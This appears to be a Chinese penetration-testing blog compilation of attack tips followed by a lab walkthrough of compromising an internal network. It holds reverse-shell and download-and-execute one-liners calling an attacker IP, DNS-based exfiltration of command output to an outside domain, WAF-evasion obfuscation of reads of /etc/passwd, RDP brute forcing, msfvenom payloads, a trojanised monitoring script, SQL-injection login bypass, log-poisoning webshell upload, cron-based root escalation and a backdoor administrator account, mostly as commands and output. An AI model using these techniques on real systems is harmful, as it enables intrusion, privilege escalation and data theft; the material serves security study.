渗透测试中常见的小Tips总结和整理(不断更新中…)

记录渗透测试中常见的小Tips。

一键部署Empire

  • 安装docker在你的Linux VPS或者Mac主机上
  • 修改~/.bashrc文件添加如下alias:

# Empire docker command
alias empire_start='docker exec -it $(docker run -d -p 80:80 empireproject/empire) python2.7 empire'
alias empire_stop='docker kill $(docker ps | grep empire | cut -d " " -f 1)'

  • 运行如下命令使我们添加的alias生效:

source ~/.bashrc

  • 执行以下命令开启或者结束empire容器:
    • empire_start: 开启empire容器
    • empire_stop: 结束并销毁empire容器

Linux反弹Shell小技巧

很多时候,当我们找到了目标Linux系统上的RCE漏洞并需要利用系统自带netcat来反弹shell时,会遇到没有-e参数的尴尬局面,这里分享一个解决这个问题的小技巧。

我们知道大部分Linux自带的netcat都是不带-e参数的netcat(例如:Ubuntu上的nc.openbsd),如果目标机器可以访问外网的话,我们可以先利用远程代码执行漏洞在目标机器上安装带-e参数的nc.traditional以下以Ubuntu为例:

apt-get install netcat-traditional -y

然后再执行以下命令即可成功反弹shell:

nc.traditional -nv [listener ip] [listener port] -e /bin/bash

注:对于Centos/RHEL,可以直接使用以下命令安装自带-e参数的netcat:

yum install nc -y

Window与Linux的提权指南

Windows命令执行漏洞利用方式

原文链接:https://evi1cg.me/archives/remote_exec.html

利用IE缓存来达到PE文件下载和执行:

start iexplore.exe http:/<attacker ip>/evil-pe.jpg & ping localhost -n 5 & taskkill /f /im iexplore.exe & for /f "delims=" %a in ('dir c:\*evil-pe[1].jpg /s /b') do (cmd.exe /c "%a" & del "%a")

WAF绕过小技巧

原文链接:https://medium.com/secjuice/waf-evasion-techniques-718026d693d8

IP地址转换工具:http://www.smartconversion.com/unit_conversion/IP_Address_Converter.aspx

主要思路:

  • Linux下利用通配符?和*,来替换具体的字母,例如:

/bin/ls 等价于 /???/?s
/bin/cat /etc/passwd 等价于 /???/??t /???/??ss??
/bin/nc 127.0.0.1 1337 等价于 /???/n? 2130706433 1337

  • 将IPv4地址转化为long类型,如:

127.0.0.1 等价于 2130706433

PowerShell在内网渗透中的利用

工具:

无回显命令执行探测

工具:

Linux:

ping `hostname`.avfisher.win
ping `id`.avfisher.win
ping $(whoami).avfisher.win 

Windows:

cmd /c for /f %x in ('hostname') do ping -n 1 %x.avfisher.win
cmd /c for /f %x in ('whoami') do ping -n 1 %x.avfisher.win
ping %USERNAME%.avfisher.win -n 1

暴力破解

工具收集:
hydra:
3389爆破命令: hydra -l login -P password.txt 192.xxx.xxx.xxx rdp
其中login是指用户名,password.txt是指密码字典, 192.xxx.xxx.xx是指服务器IP地址

批量下载

wget是linux下命令行的下载工具,功能很强大,虽然我很少用,一般下在一些小东西都是直接用firefox,seamonkey这些浏览器自带的下载功能下载,没有必要用wget或者其他下载工具。但是某些时候却不是浏览器自带的下载功能和一些其他的下载软件所能做的的,这时候就得用wget了。比如如果你想下载一个网页目录下的所有文件,如何做呢?


先介绍几个参数:-c 断点续传(备注:使用断点续传要求服务器支持断点续传),-r 递归下载(目录下的所有文件,包括子目录),-np 递归下载不搜索上层目录,-k 把绝对链接转为相对链接,这样下载之后的网页方便浏览。-L 递归时不进入其他主机,-p 下载网页所需要的所有文件。
比如:#wget -c -r -np -k -L -p http://www.kuqin.com/itman/liyanhong/

PowerShell文件下载

PowerShell 是一种winodws原生的脚本语言,对于熟练使用它的人来说,可以实现很多复杂的功能。

在windows 2003之中默认支持这种脚本。

下面这两条指令实现了从Internet网络下载一个文件。

$p = New-Object System.Net.WebClient
$p.DownloadFile("http://domain/file" "C:\%homepath%\file")

下面这条指令是执行一个文件

PS C:\> .\test.ps1

有的时候PowerShell的执行权限会被关闭,需要使用如下的语句打开。

C:\>powershell set-executionpolicy unrestricted

一条利用PowerShell下载文件并执行的命令:

cmd /c powershell (New-Object System.Net.WebClient).DownloadFile('http://<ip>/<file>','evil.exe');&evil.exe

在命令行下利用PowerShell下载文件:

echo $storageDir=$pwd > wget.ps1
echo $webclient=New-Object System.Net.WebClient >>wget.ps1
echo $url="http://remote_ip/evil.exe" >>wget.ps1
echo $file="new-exploit.exe" >>wget.ps1
echo $webclient.DownloadFile($url,$file) >>wget.ps1
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1

BITSAdmin文件下载

BITSAdmin是windows自带的一个用于下载和上传文件的命令行工具,详细描述参见:https://msdn.microsoft.com/en-us/library/windows/desktop/aa362813%28v=vs.85%29.aspx

我们可以使用下面的命令来实现文件下载:

bitsadmin /transfer myDownloadJob /download /priority normal http://downloadsrv/10mb.zip c:\10mb.zip

下面是一个基于BITSAdmin的文件下载的shell脚本:

@ECHO OFF
:: NAME
::	Bits-Download.cmd
::
:: SYNOPSIS
::	Downloads a remote file with BITS.
::
:: SYNTAX
::	Bits-Download remote_url local_name
::
:: DETAILED DESCRIPTION
::	The Bits-Download.cmd batch file uses BITS to download
::	the given remote file. Bits-Download.cmd requires the
::	BITS Admin Utility Bitsadmin.exe.
::
:: NOTES
::	Bits-Download.cmd was developed and tested on Windows Vista.
::
:: AUTHOR
::	Frank-Peter Schultze
::
:: DATE
::	00:18 21.07.2008

SETLOCAL

	IF "%2"=="" (
		TYPE "%~f0" | findstr.exe /R "^::"
		GOTO :END
	)

	SET bits_job=bits%RANDOM%

	SET remote_url="%~1"
	IF NOT DEFINED remote_url (
		ECHO %~n0 : Cannot bind argument to parameter 'remote_url' because it is empty.
		GOTO :END
	)

	SET local_name="%~2"
	IF NOT DEFINED local_name (
		ECHO %~n0 : Cannot bind argument to parameter 'local_name' because it is empty.
		GOTO :END
	)

	(SET /P remote_user=User name ^(leave empty if not required^): )
	IF DEFINED remote_user (SET /P remote_pass=Password: )

	bitsadmin.exe /CREATE /DOWNLOAD %bits_job%

	bitsadmin.exe /ADDFILE %bits_job% %remote_url% %local_name%

	bitsadmin.exe /SETNOTIFYCMDLINE %bits_job% "%SystemRoot%\system32\bitsadmin.exe" "%SystemRoot%\system32\bitsadmin.exe /COMPLETE %bits_job%"

	IF DEFINED remote_user IF DEFINED remote_pass (
		bitsadmin.exe /SETCREDENTIALS %bits_job% SERVER BASIC %remote_user% %remote_pass%
	)

	bitsadmin.exe /RESUME %bits_job%

:END
ENDLOCAL

保存代码为Bits-Download.cmd, 使用方法:Bits-Download [remote_url] [local_name]

参考链接:http://www.out-web.net/?p=151

Jenkins Hacking多种利用方式

原文链接:http://www.secpulse.com/archives/2166.html

JSP webshell执行403错误

上传了JSP的webshell成功后不能被执行,比如报403错误。通常这类报错是因为web.xml设置了禁止直接访问JSP文件,比如下面是struts2的中的默认web.xml的配置:

<?xml version="1.0" encoding="UTF-8"?>
<web-app id="WebApp_9" version="2.4" xmlns="http://java.sun.com/xml/ns/j2ee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd">

    <display-name>Struts Blank</display-name>

    <filter>
        <filter-name>struts2</filter-name>
        <filter-class>org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter</filter-class>
    </filter>

    <filter-mapping>
        <filter-name>struts2</filter-name>
        <url-pattern>/*</url-pattern>
    </filter-mapping>

    <welcome-file-list>
        <welcome-file>index.html</welcome-file>
    </welcome-file-list>

    <!-- Restricts access to pure JSP files - access available only via Struts action -->
    <security-constraint>
        <display-name>No direct JSP access</display-name>
        <web-resource-collection>
            <web-resource-name>No-JSP</web-resource-name>
            <url-pattern>*.jsp</url-pattern>
        </web-resource-collection>
        <auth-constraint>
            <role-name>no-users</role-name>
        </auth-constraint>
    </security-constraint>

    <security-role>
        <description>Don't assign users to this role</description>
        <role-name>no-users</role-name>
    </security-role>

</web-app>

解决方法是:注释或者删除web.xml中的以下防护配置

    <!-- Restricts access to pure JSP files - access available only via Struts action -->
    <security-constraint>
        <display-name>No direct JSP access</display-name>
        <web-resource-collection>
            <web-resource-name>No-JSP</web-resource-name>
            <url-pattern>*.jsp</url-pattern>
        </web-resource-collection>
        <auth-constraint>
            <role-name>no-users</role-name>
        </auth-constraint>
    </security-constraint>

渗透测试学习笔记之综合渗透案例一

0x00 前言

《渗透测试学习笔记》系列文章之前已经发了好几篇了,但是都是属于单点突破系列,意在撕开一张口子为下一阶段的持续渗透做准备。今天这篇文章略有不同,笔者将试图呈现一个完整的内网渗透过程。文章略长,如果感兴趣的话,请耐心阅读!

0x01 案例分析

实验环境:

  • 目标环境:10.0.0.0/24, 10.0.1.0/24
  • 攻击主机:10.0.0.5 (Kali), 10.0.0.7 (Windows)

渗透过程:

基本的主机探测:

root@kali:~# nmap -sn 10.0.0.0/24 -oG online.txt
root@kali:~# cat online.txt | grep -i up
Host: 10.0.0.1 ()    Status: Up
Host: 10.0.0.2 ()    Status: Up
Host: 10.0.0.7 ()	Status: Up
Host: 10.0.0.9 ()	Status: Up
Host: 10.0.0.11 ()	Status: Up
Host: 10.0.0.5 ()	Status: Up
# Nmap done at Wed May 30 06:10:17 2018 -- 256 IP addresses (6 hosts up) scanned in 1.83 seconds

任意选取其中的一个online的IP(如:10.0.0.9)进一步探测:

root@kali:~# nmap -sV -A -O 10.0.0.9

Starting Nmap 7.60 ( https://nmap.org ) at 2018-05-30 06:12 UTC
Nmap scan report for 10.0.0.9
Host is up (0.00048s latency).
Not shown: 990 closed ports
PORT      STATE SERVICE       VERSION
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds  Windows Server 2008 R2 Datacenter 7601 Service Pack 1 microsoft-ds
3389/tcp  open  ms-wbt-server Microsoft Terminal Service
| ssl-cert: Subject: commonName=Monitor
| Not valid before: 2018-05-27T07:03:14
|_Not valid after:  2018-11-26T07:03:14
|_ssl-date: 2018-05-30T06:14:01+00:00; +5s from scanner time.
49152/tcp open  msrpc         Microsoft Windows RPC
49153/tcp open  msrpc         Microsoft Windows RPC
49154/tcp open  msrpc         Microsoft Windows RPC
49158/tcp open  msrpc         Microsoft Windows RPC
49159/tcp open  msrpc         Microsoft Windows RPC
49165/tcp open  msrpc         Microsoft Windows RPC
MAC Address: 0A:14:2C:84:E9:D2 (Unknown)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
...

Network Distance: 1 hop
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 4s, deviation: 0s, median: 4s
|_nbstat: NetBIOS name: MONITOR, NetBIOS user: <unknown>, NetBIOS MAC: 0a:14:2c:84:e9:d2 (unknown)
| smb-os-discovery:
|   OS: Windows Server 2008 R2 Datacenter 7601 Service Pack 1 (Windows Server 2008 R2 Datacenter 6.1)
|   OS CPE: cpe:/o:microsoft:windows_server_2008::sp1
|   Computer name: Monitor
|   NetBIOS computer name: MONITOR\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2018-05-30T06:14:01+00:00
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode:
|   2.02:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2018-05-30 06:14:01
|_  start_date: 2018-05-30 04:32:09

从以上探测结果可以发现该主机是Windows 2008 R2且开放了SMB和RDP,继续探测:

root@kali:~# nmap --script=/usr/share/nmap/scripts/smb-enum-shares.nse -p 445 10.0.0.9

Starting Nmap 7.60 ( https://nmap.org ) at 2018-05-30 06:16 UTC
Nmap scan report for 10.0.0.9
Host is up (0.00019s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds
MAC Address: 0A:14:2C:84:E9:D2 (Unknown)

Host script results:
| smb-enum-shares:
|   account_used: guest
|   \\10.0.0.9\ADMIN$:
|     Type: STYPE_DISKTREE_HIDDEN
|     Comment: Remote Admin
|     Anonymous access: <none>
|     Current user access: <none>
|   \\10.0.0.9\C$:
|     Type: STYPE_DISKTREE_HIDDEN
|     Comment: Default share
|     Anonymous access: <none>
|     Current user access: <none>
|   \\10.0.0.9\IPC$:
|     Type: STYPE_IPC_HIDDEN
|     Comment: Remote IPC
|     Anonymous access: READ
|     Current user access: READ/WRITE
|   \\10.0.0.9\Users:
|     Type: STYPE_DISKTREE
|     Comment:
|     Anonymous access: <none>
|     Current user access: READ
|   \\10.0.0.9\print$:
|     Type: STYPE_DISKTREE
|     Comment: Printer Drivers
|     Anonymous access: <none>
|     Current user access: READ
|   \\10.0.0.9\share:
|     Type: STYPE_DISKTREE
|     Comment:
|     Anonymous access: <none>
|_    Current user access: READ/WRITE

此时,我们发现该主机存在一个可读写的share folder\\10.0.0.9\share:

root@kali:~# smbclient //10.0.0.9/share -N
WARNING: The "syslog" option is deprecated
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Wed May 30 06:16:59 2018
  ..                                  D        0  Wed May 30 06:16:59 2018
  logs.txt                            A    39404  Wed May 30 06:19:20 2018
  processMonitor.py                   A      576  Mon May 28 06:56:33 2018

		7863807 blocks of size 4096. 1680653 blocks available
smb: \>

为了进一步了解,登录我们用于渗透的另一台Windows主机(10.0.0.7)。 图片

发现,这个共享文件夹里包含了一个定期监控运行进程的python脚本。

import win32com.client
import datetime

def logging(context):
    now = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
    f = open('c:\share\logs.txt', 'a')
    f.write('{}: {}'.format(now,context))
    f.close()

def process_monitor():
    wmi=win32com.client.GetObject('winmgmts:')
    for p in wmi.InstancesOf('win32_process'):
        logging("{}{}{}\n".format(p.Name, p.Properties_('ProcessId'), \
            int(p.Properties_('UserModeTime').Value)+int(p.Properties_('KernelModeTime').Value)))

if __name__ == "__main__":
    process_monitor()

由于该文件夹可读写,我们可以生成并放置一个meterpreter的payload,然后修改该python脚本来执行它,这样我们就可以得到一个meterpreter session了。

root@kali:/var/www/html# msfvenom -p windows/x64/meterpreter/reverse_tcp LPORT=4444 LHOST=10.0.0.5 -f exe > s.exe

修改python脚本如下:

import win32com.client
import datetime
from subprocess import call

def logging(context):
    now = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
    f = open('c:\share\logs.txt', 'a')
    f.write('{}: {}'.format(now,context))
    f.close()

def process_monitor():
    wmi=win32com.client.GetObject('winmgmts:')
    for p in wmi.InstancesOf('win32_process'):
        logging("{}{}{}\n".format(p.Name, p.Properties_('ProcessId'), \
            int(p.Properties_('UserModeTime').Value)+int(p.Properties_('KernelModeTime').Value)))

if __name__ == "__main__":
    process_monitor()
    call(["c:\share\s.exe"])

几分钟后,我们顺利地获得了一个meterpreter session了。

msf exploit(handler) > sessions

Active sessions
===============

  Id  Name  Type                     Information                      Connection
  --  ----  ----                     -----------                      ----------
  2         meterpreter x64/windows  MONITOR\Administrator @ MONITOR  10.0.0.5:4444 -> 10.0.0.9:49536 (10.0.0.9)

meterpreter > getuid
Server username: MONITOR\Administrator
meterpreter > sysinfo
Computer        : MONITOR
OS              : Windows 2008 R2 (Build 7601, Service Pack 1).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter > ipconfig

Interface  1
============
Name         : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU          : 4294967295
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff


Interface 11
============
Name         : Microsoft Teredo Tunneling Adapter
Hardware MAC : 00:00:00:00:00:00
MTU          : 1280
IPv6 Address : fe80::100:7f:fffe
IPv6 Netmask : ffff:ffff:ffff:ffff::


Interface 13
============
Name         : AWS PV Network Device #0
Hardware MAC : 0a:14:2c:84:e9:d2
MTU          : 9001
IPv4 Address : 10.0.0.9
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::3053:3068:2bf6:272c
IPv6 Netmask : ffff:ffff:ffff:ffff::


Interface 14
============
Name         : Microsoft ISATAP Adapter
Hardware MAC : 00:00:00:00:00:00
MTU          : 1280
IPv6 Address : fe80::5efe:a00:9
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff


Interface 20
============
Name         : AWS PV Network Device #1
Hardware MAC : 0a:17:b5:cb:d1:ac
MTU          : 9001
IPv4 Address : 10.0.1.9
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::2189:c3cf:68e3:aab9
IPv6 Netmask : ffff:ffff:ffff:ffff::

同时,可以看出这个机器具有多个网卡且横跨在2个网段中(10.0.0.9/24和10.0.1.9/24)。因此,我们也可以利用这个机器做跳板继续渗透10.0.1.0/24这段里的机器。

meterpreter > run get_local_subnets

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
Local subnet: 10.0.0.0/255.255.255.0
Local subnet: 10.0.1.0/255.255.255.0
meterpreter > background
[*] Backgrounding session 2...
msf exploit(handler) > route add 10.0.1.0 255.255.255.0 2
[*] Route added
msf exploit(handler) > route print

IPv4 Active Routing Table
=========================

   Subnet             Netmask            Gateway
   ------             -------            -------
   10.0.1.0           255.255.255.0      Session 2

[*] There are currently no IPv6 routes defined.

利用auxiliary/scanner/portscan/tcp去扫描10.0.1.0/24段,如下:

msf exploit(handler) > use auxiliary/scanner/portscan/tcp
msf auxiliary(tcp) > set RHOSTS 10.0.1.0/24
RHOSTS => 10.0.1.0/24
msf auxiliary(tcp) > set PORTS 22,80,3306,445,3389,139,1433
PORTS => 22,80,3306,445,3389,139,1433
msf auxiliary(tcp) > set threads 20
threads => 20
msf auxiliary(tcp) > run

[+] 10.0.1.7:             - 10.0.1.7:445 - TCP OPEN
[+] 10.0.1.11:            - 10.0.1.11:80 - TCP OPEN
[+] 10.0.1.9:             - 10.0.1.9:445 - TCP OPEN
[+] 10.0.1.9:             - 10.0.1.9:139 - TCP OPEN
[+] 10.0.1.11:            - 10.0.1.11:22 - TCP OPEN
[+] 10.0.1.9:             - 10.0.1.9:3389 - TCP OPEN
[+] 10.0.1.7:             - 10.0.1.7:139 - TCP OPEN
[+] 10.0.1.26:            - 10.0.1.26:139 - TCP OPEN
[+] 10.0.1.26:            - 10.0.1.26:80 - TCP OPEN
[+] 10.0.1.26:            - 10.0.1.26:3389 - TCP OPEN
[+] 10.0.1.26:            - 10.0.1.26:3306 - TCP OPEN
[+] 10.0.1.26:            - 10.0.1.26:445 - TCP OPEN

我们任意选取其中的一台机器(如:10.0.1.11),我们发现其开放了80和22端口。接下来,我们可以在session 2里设置端口转发,将攻击机(10.0.0.5)上的8080端口转发到目标机(10.0.1.7)上的80端口,方便我们后续的测试。

msf auxiliary(tcp) > sessions 2
[*] Starting interaction with 2...

meterpreter > portfwd add -l 8080 -p 80 -r 10.0.1.11
[*] Local TCP relay created: :8080 <-> 10.0.1.11:80
meterpreter > portfwd list

Active Port Forwards
====================

   Index  Local         Remote        Direction
   -----  -----         ------        ---------
   1      0.0.0.0:8080  10.0.1.11:80  Forward

1 total active port forwards.

这时,我们再次登录我们的Windows渗透机器(10.0.0.7)来查看一下这是个什么网站。 图片10.0.1.11-1

经过测试发现,这个登录功能存在SQL Injection,可以通过以下的用户名和密码登录:

username: admin
password: ' or '1'='1

图片10.0.1.11-2

经过观察发现,这个网站应该直接本地文件包含了web服务器的access_log,因此我们可以想到利用文件包含漏洞来生成一个webshell,具体步骤如下:

  1. 发送一个包含webshell代码的HTTP请求使其被写入到access_log里, 如一个仅包含上传功能的php小马 图片10.0.1.11-upload
  2. 访问http://10.0.0.5:8080/admin.php来文件包含access_log使其中的php代码被执行,从获取一个具备上传功能的php小马 图片10.0.1.11-admin
  3. 访问http://10.0.0.5:8080/upload.php并上传一个功能齐全的PHP webshell 图片10.0.1.11-shell
  4. 访问http://10.0.0.5:8080/shell.php并输入密码qwer,则成功地获取了一个webshell 图片10.0.1.11-webshell

利用webshell提供的功能我们发现这只是一个用于运行web service的低权限的用户(daemon),那么接下来我们需要解决的问题就是本地提权到root权限。 图片10.0.1.11-info 图片10.0.1.11-cronjob 如上图,我们找到了一个777权限的root用户所拥有的cronjob文件/etc/cron.hourly/clean_up_access_log。看起来这个脚本似乎是用于定期清理access_log的。因此,我们似乎可以利用它来获得一个root权限的meterpreter shell。

首先,生成一个Linux的meterpreter payload并通过webshell上传到目标主机上并添加执行权限;

root@kali:~# msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=4444 -f elf > root.elf
system('chmod +x /opt/lampp/htdocs/root.elf');

接着,修改/etc/cron.hourly/clean_up_access_log使其可以执行我们上传的payload并等待cronjob的下次执行;

system("echo '/opt/lampp/htdocs/root.elf' >> /etc/cron.hourly/clean_up_access_log");

最后,我们成功地在目标机器(10.0.1.11)上获得了一个root权限的meterpreter session,如下:

msf exploit(handler) > use exploit/multi/handler
msf exploit(handler) > set payload linux/x64/meterpreter/bind_tcp
payload => linux/x64/meterpreter/bind_tcp
msf exploit(handler) > set RHOST 10.0.1.11
RHOST => 10.0.1.11
msf exploit(handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (linux/x64/meterpreter/bind_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LPORT  4444             yes       The listen port
   RHOST  10.0.1.11        no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf exploit(handler) > run

[*] Started bind handler
[*] Sending stage (802416 bytes) to 10.0.1.11
[*] Meterpreter session 4 opened (10.0.0.5-10.0.0.9:0 -> 10.0.1.11:4444) at 2018-05-30 15:23:26 +0000

meterpreter > sysinfo
Computer     : 10.0.1.11
OS           : Ubuntu 16.04 (Linux 4.4.0-1060-aws)
Architecture : x64
Meterpreter  : x64/linux
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > shell
Process 24394 created.
Channel 2 created.
id
uid=0(root) gid=0(root) groups=0(root)
ifconfig
eth0      Link encap:Ethernet  HWaddr 0a:3a:ea:dc:8a:44  
          inet addr:10.0.1.11  Bcast:10.0.1.255  Mask:255.255.255.0
          inet6 addr: fe80::83a:eaff:fedc:8a44/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:9001  Metric:1
          RX packets:2703 errors:0 dropped:0 overruns:0 frame:0
          TX packets:2973 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:1105355 (1.1 MB)  TX bytes:672700 (672.7 KB)

lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:192 errors:0 dropped:0 overruns:0 frame:0
          TX packets:192 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1
          RX bytes:14456 (14.4 KB)  TX bytes:14456 (14.4 KB)

ls -l /root
total 4
-rw------- 1 root root 84 May 25 10:10 readme.txt

利用上面获得的root权限的meterpreter session,我意外的发现了一个有趣的文件/root/readme.txt,其中包含了一个远程FTP(10.0.1.26)的口令和密码。

cat /root/readme.txt
Credentials for FTP:
- IP: 10.0.1.26
- User: ftpadmin
- Password: nKG6aqwvveFutn$@

既然拿到了这个信息,我们不妨再次探测一下我们的下一个目标(10.0.1.26)。

msf exploit(handler) > use auxiliary/scanner/portscan/tcp
msf auxiliary(tcp) > set RHOSTS 10.0.1.26
RHOSTS => 10.0.1.26
msf auxiliary(tcp) > set threads 50
threads => 50
msf auxiliary(tcp) > set PORTS 1-1025,1433,3306,3389
PORTS => 1-1025,1433,3306,3389
msf auxiliary(tcp) > run

[+] 10.0.1.26:            - 10.0.1.26:21 - TCP OPEN
[+] 10.0.1.26:            - 10.0.1.26:80 - TCP OPEN
[+] 10.0.1.26:            - 10.0.1.26:139 - TCP OPEN
[+] 10.0.1.26:            - 10.0.1.26:135 - TCP OPEN
[+] 10.0.1.26:            - 10.0.1.26:445 - TCP OPEN
[+] 10.0.1.26:            - 10.0.1.26:443 - TCP OPEN
[+] 10.0.1.26:            - 10.0.1.26:3306 - TCP OPEN
[+] 10.0.1.26:            - 10.0.1.26:3389 - TCP OPEN
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

果不其然,目标机(10.0.1.26)确实存在一个FTP站点。进入上面获得的session 2,在目标机10.0.0.9(10.0.1.9)上添加一个管理员账号:

msf auxiliary(tcp) > sessions 2
[*] Starting interaction with 2...

meterpreter > shell
Process 1116 created.
Channel 147 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>net user test 1qazxsw2@ /add
net user test 1qazxsw2@ /add
The command completed successfully.

C:\Windows\system32>net localgroup administrators test /add
net localgroup administrators test /add
The command completed successfully.

C:\Windows\system32>

接着RDP到目标主机10.0.0.9(10.0.1.9)上,并尝试使用已经获取的口令登录。 图片10.0.1.26-FTP 结果显示,我们成功地登录了该FTP站点,且具备读写权限。另外,我们还发现该FTP为目标机10.0.1.26上的一个web站点的根目录。因此,我们可以通过该FTP轻松地上传一个webshell.php文件,如下: 图片10.0.1.26-Webshell 有了webshell我们便可以上传一个meterpreter payload来获取一个功能强大的meterpreter session了。

msf auxiliary(tcp) > use exploit/multi/handler
msf exploit(handler) > set payload windows/x64/meterpreter/bind_tcp
payload => windows/x64/meterpreter/bind_tcp
msf exploit(handler) > set RHOST 10.0.1.26
RHOST => 10.0.1.26
msf exploit(handler) > set LPORT 4444
LPORT => 4444
msf exploit(handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/x64/meterpreter/bind_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LPORT     4444             yes       The listen port
   RHOST     10.0.1.26        no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf exploit(handler) > run

[*] Started bind handler
[*] Sending stage (205379 bytes) to 10.0.1.26
[*] Meterpreter session 5 opened (10.0.0.5-10.0.0.9:0 -> 10.0.1.26:4444) at 2018-05-31 02:08:05 +0000

meterpreter > sysinfo
Computer        : IT-MANAGE-PC
OS              : Windows 2008 R2 (Build 7601, Service Pack 1).
Architecture    : x64
System Language : en_US
Domain          : GBOX
Logged On Users : 1
Meterpreter     : x64/windows
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > ifconfig

Interface  1
============
Name         : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU          : 4294967295
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff


Interface 11
============
Name         : Microsoft Teredo Tunneling Adapter
Hardware MAC : 00:00:00:00:00:00
MTU          : 1280
IPv6 Address : fe80::100:7f:fffe
IPv6 Netmask : ffff:ffff:ffff:ffff::


Interface 13
============
Name         : AWS PV Network Device #0
Hardware MAC : 0a:d9:e6:59:35:f0
MTU          : 9001
IPv4 Address : 10.0.1.26
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::4171:a218:74ca:871f
IPv6 Netmask : ffff:ffff:ffff:ffff::


Interface 14
============
Name         : Microsoft ISATAP Adapter
Hardware MAC : 00:00:00:00:00:00
MTU          : 1280
IPv6 Address : fe80::5efe:a00:11a
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff

同时,我们发现目标机(10.0.1.26)是一个加入了GBOX域的机器,且DNS服务器的IP是10.0.1.7:

meterpreter > shell
Process 4080 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\xampp\htdocs>ipconfig -all
ipconfig -all

Windows IP Configuration

   Host Name . . . . . . . . . . . . : IT-MANAGE-PC
   Primary Dns Suffix  . . . . . . . : gbox.com
   Node Type . . . . . . . . . . . . : Hybrid
   IP Routing Enabled. . . . . . . . : No
   WINS Proxy Enabled. . . . . . . . : No
   DNS Suffix Search List. . . . . . : us-west-2.ec2-utilities.amazonaws.com
                                       ec2.internal
                                       us-east-1.ec2-utilities.amazonaws.com
                                       compute-1.internal
                                       us-west-2.compute.internal
                                       gbox.com

Ethernet adapter Local Area Connection 3:

   Connection-specific DNS Suffix  . : us-west-2.compute.internal
   Description . . . . . . . . . . . : AWS PV Network Device #0
   Physical Address. . . . . . . . . : 0A-D9-E6-59-35-F0
   DHCP Enabled. . . . . . . . . . . : Yes
   Autoconfiguration Enabled . . . . : Yes
   Link-local IPv6 Address . . . . . : fe80::4171:a218:74ca:871f%13(Preferred)
   IPv4 Address. . . . . . . . . . . : 10.0.1.26(Preferred)
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Lease Obtained. . . . . . . . . . : Wednesday, May 30, 2018 4:32:21 AM
   Lease Expires . . . . . . . . . . : Thursday, May 31, 2018 3:02:46 AM
   Default Gateway . . . . . . . . . : 10.0.1.1
   DHCP Server . . . . . . . . . . . : 10.0.1.1
   DHCPv6 IAID . . . . . . . . . . . : 302649180
   DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-22-9D-15-7F-0A-0F-5C-B0-05-5E
   DNS Servers . . . . . . . . . . . : 10.0.1.7
   NetBIOS over Tcpip. . . . . . . . : Enabled

Tunnel adapter isatap.us-west-2.compute.internal:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . : us-west-2.compute.internal
   Description . . . . . . . . . . . : Microsoft ISATAP Adapter
   Physical Address. . . . . . . . . : 00-00-00-00-00-00-00-E0
